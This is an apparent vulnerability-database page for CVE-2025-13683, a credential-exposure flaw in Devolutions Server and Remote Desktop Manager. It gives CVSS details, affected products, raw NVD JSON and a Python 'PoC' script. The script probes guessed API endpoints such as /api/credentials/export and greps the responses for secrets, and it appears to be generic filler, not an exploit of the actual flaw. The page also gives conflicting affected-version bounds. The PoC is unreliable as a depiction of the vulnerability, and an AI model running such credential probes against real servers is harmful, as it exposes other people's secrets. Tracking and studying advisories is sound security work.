Security Vulnerability Report
中文
CVE-2025-13683 CVSS 6.5 MEDIUM

CVE-2025-13683

Published: 2025-11-28 17:16:08
Last Modified: 2025-12-18 21:18:26

Description

Exposure of credentials in unintended requests in Devolutions Server, Remote Desktop Manager on Windows.This issue affects Devolutions Server: through 2025.3.8.0; Remote Desktop Manager: through 2025.3.23.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:devolutions:remote_desktop_manager:*:*:*:*:*:windows:*:* - VULNERABLE
Devolutions Server < 2025.3.8.0
Remote Desktop Manager < 2025.3.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13683 PoC - Credential Exposure in Devolutions Server/Remote Desktop Manager # This PoC demonstrates how credentials might be exposed in unintended requests import requests import json from urllib.parse import urljoin TARGET_HOST = "http://target-server.local" API_ENDPOINT = "/api/sessions" def check_credential_exposure(target_url): """ Check if credentials are exposed in API responses """ session = requests.Session() # Attempt to access API endpoint try: response = session.get(urljoin(target_url, API_ENDPOINT)) # Check if credentials are exposed in response headers sensitive_headers = ['Authorization', 'X-Api-Key', 'Cookie', 'Set-Cookie'] exposed_credentials = [] for header in sensitive_headers: if header in response.headers: exposed_credentials.append(f"{header}: {response.headers[header]}") # Check response body for credential patterns response_text = response.text.lower() credential_patterns = ['password', 'secret', 'token', 'api_key', 'credential'] for pattern in credential_patterns: if pattern in response_text: exposed_credentials.append(f"Pattern '{pattern}' found in response") if exposed_credentials: print("[!] Credentials potentially exposed:") for cred in exposed_credentials: print(f" - {cred}") return True else: print("[+] No obvious credential exposure detected") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def analyze_http_traffic(target_url): """ Analyze HTTP traffic for credential leakage in requests """ print("\n[*] Analyzing HTTP traffic for credential leakage...") # Check various endpoints for credential exposure endpoints_to_check = [ "/api/user/profile", "/api/sessions/list", "/api/credentials/export", "/api/debug/logs", "/api/v2/data/backup" ] for endpoint in endpoints_to_check: try: response = requests.get(urljoin(target_url, endpoint), timeout=10) # Check if response contains sensitive data if 'password' in response.text.lower() or 'secret' in response.text.lower(): print(f"[!] Potential exposure at {endpoint}") print(f" Status: {response.status_code}") except requests.exceptions.RequestException: pass if __name__ == "__main__": print("CVE-2025-13683 - Credential Exposure PoC") print("=" * 50) check_credential_exposure(TARGET_HOST) analyze_http_traffic(TARGET_HOST)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13683", "sourceIdentifier": "[email protected]", "published": "2025-11-28T17:16:08.437", "lastModified": "2025-12-18T21:18:26.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of credentials in unintended requests in Devolutions Server, Remote Desktop Manager on Windows.This issue affects Devolutions Server: through 2025.3.8.0; Remote Desktop Manager: through 2025.3.23.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.10.0", "matchCriteriaId": "32AD9D5F-FA85-4745-BDED-FA25F5D2C2C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:remote_desktop_manager:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2025.3.25.0", "matchCriteriaId": "6194EAFD-020B-485E-87C6-E2BE930C1A1A"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2025-0017/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}